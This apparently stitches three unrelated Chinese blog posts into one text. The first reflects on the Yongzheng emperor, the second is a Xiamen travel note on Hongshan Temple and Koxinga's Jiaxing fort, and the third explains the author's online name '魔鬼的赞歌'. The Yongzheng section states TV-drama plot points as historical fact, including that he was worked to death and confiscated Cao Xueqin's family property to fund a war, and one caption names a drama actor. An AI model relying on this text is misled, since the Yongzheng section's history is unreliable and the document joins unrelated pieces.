我喜欢读名人自传,康熙自传和乾隆自传都读过,后来发现还有雍正自传。但我是读完康熙自传和乾隆自传以后才读雍正自传,因为我觉得康熙和乾隆那么有名气,可以学到东西。而雍正没有什么名气,读了很有可能会浪费时间。

当我开始阅读雍正自传,慢慢走进那个尘封在历史中的皇帝。我开始为自己的无知感到羞愧,是康乾盛世这几个字误导了我。雍正虽说名气不大,但他是一个非常务实的皇帝,也可以说他是历史上最勤勉的皇帝。

我们都知道康熙教子严而有方,他的皇子们各个多才多艺。以至于他到晚年最后都不知道该把皇位传给谁,最终在皇子争位中,雍正获胜。雍正之所以成为继康熙之后的皇帝,就足以说明他很有能力。否则就凭康熙爷的挑剔,他是没有机会获胜的。

4

雍正为什么会得到康熙的青睐?康熙在位期间,有一次黄河发大水。受灾的百姓达到几百万,国库因为连年打仗一度空虚。康熙爷非常着急,遇到这样的难题没有一个大臣敢接这样的任务。平时喜欢争权夺利的皇子们也都不敢言语,康熙把任务给谁都不敢接。最后就是硬摊派给雍正,完成也得完成,不完成也得完成。

雍正知道这个任务艰巨,但他并没有推辞,而是接收任务给父皇分忧。为了赈灾首要任务就是筹措钱粮,所以雍正特意去江南地区筹备钱粮。来到江南这里的官员士申对雍正多有防备,和雍正斗智斗勇。

吴奇隆演的四爷

雍正没有办法,为了筹备钱粮就开始惩治一批贪官。雍正也因此得罪了很多官吏,但筹措到了钱粮。及时用到了灾区,还修善了黄河大堤,后来的黄河大堤非常牢固,没有在出现决口。雍正凡事亲力亲为,带头和大家一起干,而且不断重用年轻有为的人。

在雍正的府里有很多能人,比如能掐会算的邬先生。能争善战的年羹尧,多面玲珑的李卫,爱岗敬业的田文镜。这些人给雍正办了不少实事,也为日后雍正当皇帝打下坚实基础。

5

黄河赈灾完成以后,雍正又接到一个难题,就是收回官吏们拖欠国库的欠款。这又是一大难题,因为要得罪人,也就是因为雍正收回国库欠款,把很多官员的家给抄了,导致他的人缘不好。在康熙举行的大臣投票选皇太子事情上,雍正没有获胜。

当然当选皇太子这件事的决定权在康熙手里,经过康熙严格考核下,雍正总算成为合格的接班人。在康熙离开人世的时候,把大位传给了雍正。

雍正当了皇帝以后,特别勤勉,每天批阅大量奏则。经常熬一个通宵,到了第二天还照样上朝,也正是因为身体透支严重。雍正没能像康熙和乾隆那样长寿,年仅五十八岁就被活活累死。

雍正皇帝在位时面临问题非常多,西北叛乱,整顿吏治,处理内部矛盾,民族问题。有一个问题处理不当都会引起大清帝国的动荡,非常头疼。

西北叛乱国库空虚,雍正把所有官员开支压缩一半,还给曹雪芹家族抄家。最后筹够银子派年羹尧到西北处理叛乱,而是为了支持这场战争雍正还特意设立军机处。几乎是举全国之力总算歼灭叛军,稳固了大清的边疆。

6

透过西北叛乱,国库空虚这件事,雍正发现官员腐败无能。贪污受贿比比皆是,雍正为了让大清国泰民安,必须整顿吏治。推行新政,雍正的用心非常好,就是为了减少百姓负担。老百姓负担清了,藏富于民,老百姓生活富裕了自然国家富强。

励精图治

雍正的新政和很多士申的利益发生冲突,最后他的新政频频受阻。后来因为推行新政过程中又闹出了八王议政的闹剧,差点把雍正的皇位夺走。雍正接手的大清是饱受战乱的大清,我们都知道康熙爷能争善战。一生大大小小打了七十场战争,打的国库空虚,千疮百孔。

在民族大义上,雍正推行满汉不分家,过去因为太过计较满人和汉人。不利于民族团结,雍正正是从这一点出发,才让满人和汉人和谐相处。社会长治久安,大家减少不必要的摩擦。

雍正励精图治,每天勤勤恳恳。他平均每天仅仅休息三四个小时,这样的辛苦是其他皇帝不敢想象的。也正是因为雍正的付出才为康乾盛世奠定基础,所以我们在提到康乾盛世的时候不要忘记还有一个极为勤勉的皇帝雍正。

厦门鸿山嘉兴寨

鸿山寺

     鸿山公园在厦门是大路头,思明南路边侧大生里附近,来来往往总有路过。但不见得大家都有上去认真走走。那天在书里发现鸿山寺后山顶上有当年郑成功的一个军寨——嘉兴寨。赶紧认真的去走一圈。

嘉兴寨

嘉兴园

        嘉兴寨位于鸿山寺后山的山顶。城寨墙附山座落,有少数段尚在,大部分已经荒废而毁。当年从“嘉兴寨”兴起,向东经碧山岩、澳仔岭、五老峰一直绵延到胡里山一带都是郑成功驻军地。其实鸿山脚下与对面的虎头山之间就是明清时期的镇南关,当时是厦门岛南部进厦门城的必经之处。其实即使是现在也是厦门非常重要的交通要道。

观音殿

老构件门框

摩崖石刻

      鸿山寺是几建几修也几毁的,不过如今修建得真的很漂亮,主殿观音殿相当壮观。在山坡石门还保留当年的门框构建,山石上还有明时福建都督徐一鸣在天启二年(1622年)攻剿“红夷”事迹的摩崖石刻,据说是抗击完打了胜仗后登鸿山游览,题刻纪念。当年“红毛番”荷兰殖民者兵船侵扰闽南沿海,明朝政府命福建都督徐一鸣等带兵驻防中左所(厦门城)。

延平郡王祠
好景

      如今,在山顶还有新建一座延平郡王祠来纪念国姓爷郑成功。鸿山公园亭台楼榭,池花满园,园林丛丛,曲径通幽。登山顶亭台,俯望鹭江两岸,眺望远处竟是古月港傍南太武而增辉,回望则是林立高楼的厦门城,伸向海处蜿蜒而落的是成功大道与演武大桥。

      确实鸿山公园是个休闲的好去处。

我为什么叫魔鬼的赞歌

「魔鬼的赞歌」是我用了非常久的一个网名。

显然,用自媒体的角度看,这不是一个好名字。字数太多,寓意邪恶,装逼过度。

这个名字最早的时候,是初中取QQ昵称时想出来的。

整整十几年前,中二指数爆表的我,绞尽脑汁想取一个超凡脱俗装逼如风的名字。

我那个思路清奇的小脑袋那时候想到——别人都用什么追风啊、酷啊、光啊之类的,我偏用魔鬼,再来个反差,加个赞歌,我的妈呀太有大反派感觉了,最好没人用过!

然后我用QQ添加好友一搜索,嘿,还真没有人叫这个名字。

然后我就用了十几年。

但,一个名字能用这么久,并不会全部是出于习惯。

不同的年龄里,这个名字代表的东西都不一样。

最早时中学是为了猎奇,为了取一个没人想到的QQ昵称。

后来加上了叛逆。我厌倦了做一个乖孩子,但又不敢真的做坏事,只好从思想上向往做一个反派。

这样度过了中二年龄后,很长一段时间里是出于习惯用着这个名字。

等到毕业,工作,写各种各样的文章,我曾经慎重考虑过是否要换个名字。


如大家所见,并没有换。

后来的理由,不同于少年时期。

我在20岁以后的生活里,渐渐悟得了一些道理。

人的道德、善良、真诚等等正面情感,虽然美好,但都是极其脆弱的。

而人的贪婪、欲望、懒散、恶毒、自私等等,却是时时刻刻试图占据内心。

这可能是每个人内心的战争。

我觉得,人这辈子做事想要无愧于几乎不可能,无愧于却可以做到。

因为一念之间,恶念顿生,是人之常情。

毕竟我们不是神佛。

重要的是打败心魔,做出正确的选择。

最终实际的行动如何,才是评判我们为人的标准。

战胜了恶念,必然会表现到你的所做所为上。

但这种无时无刻的战斗,是很累人的。

你想懒散、心怀怨愤、想着捡到一百万,想着碰到的讨厌的人快点去死。

心魔得胜,也最终一定会表现到你的行为举止上。

仔细想想,当你破口大骂,口吐诅咒时,你内心占上风的不正是你心里的魔鬼么。

后来我觉得因为这个,我这个名字又多了一点作用。

因为叫「魔鬼的赞歌」,我每时每刻都在把心魔晾在外面。我太熟悉他了。

我太熟悉那个贪婪、懒散、恶毒、自私的自己了。这个魔鬼,冷漠、坚硬、不知好歹。

我必须把这样的自己晾在外面,而不是藏在心里。

我知道很多人对我的感受,魔鬼高冷、魔鬼头像渗人、魔鬼说话无趣。

只不过进一步了解之后,你才会发现不一样的我。

魔鬼的赞歌。这是最负面的我。

但我和很多人相反。很多人把阳光自信放在外层,把恶念放在里面。这样来保护自己。

我把最负面的东西,放在了最外层,用来提醒自己,并且用它吓走、隔绝不相干的人。

把我心里好的那部分,保护在最里面。


(其实后面这段是我昨天才想到的,编不下去了,溜了溜了)